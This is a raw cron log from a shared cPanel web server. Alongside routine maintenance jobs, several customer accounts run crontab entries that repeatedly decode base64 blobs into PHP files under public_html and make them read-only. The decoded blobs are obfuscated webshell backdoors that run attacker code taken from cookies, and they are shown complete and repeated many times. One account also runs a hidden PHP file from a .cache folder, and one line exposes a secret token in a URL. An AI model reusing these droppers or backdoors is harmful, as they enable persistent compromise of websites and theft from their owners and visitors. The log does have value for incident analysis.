Mar  2 13:28:02 medusa CROND[19994]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:28:02 medusa CROND[19996]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:28:02 medusa CROND[19995]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:28:02 medusa CROND[19997]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:28:02 medusa CROND[19998]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:28:02 medusa CROND[19999]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:29:01 medusa CROND[5936]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:29:01 medusa CROND[5946]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_summary.cronlock /usr/sbin/cloudlinux-summary --send --json &> /dev/null)
Mar  2 13:29:01 medusa CROND[6125]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:29:02 medusa CROND[6257]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 13:29:02 medusa CROND[6262]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:29:02 medusa CROND[6263]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:29:02 medusa CROND[6266]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:29:02 medusa CROND[6267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:29:02 medusa CROND[6268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:29:02 medusa CROND[6273]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:29:02 medusa CROND[6279]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:29:02 medusa CROND[6286]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:29:02 medusa CROND[6287]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:29:02 medusa CROND[6289]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:30:01 medusa CROND[21773]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:30:01 medusa CROND[21777]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:30:01 medusa CROND[21840]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 13:30:02 medusa CROND[22265]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:30:02 medusa CROND[22267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:30:02 medusa CROND[22269]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:30:02 medusa CROND[22271]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:30:02 medusa CROND[22272]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:30:02 medusa CROND[22270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:30:02 medusa CROND[22275]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:30:02 medusa CROND[22276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:30:02 medusa CROND[22279]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 13:30:02 medusa CROND[22284]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 13:30:02 medusa CROND[22288]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 13:30:02 medusa CROND[22282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:30:02 medusa CROND[22294]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 13:30:02 medusa CROND[22300]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:30:02 medusa CROND[22281]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:30:02 medusa CROND[22302]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 13:30:02 medusa CROND[22311]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:30:02 medusa CROND[22314]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:30:02 medusa CROND[22316]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:30:02 medusa CROND[22318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:30:02 medusa CROND[22315]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:30:02 medusa CROND[22324]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 13:30:02 medusa CROND[22323]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:30:02 medusa CROND[22321]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
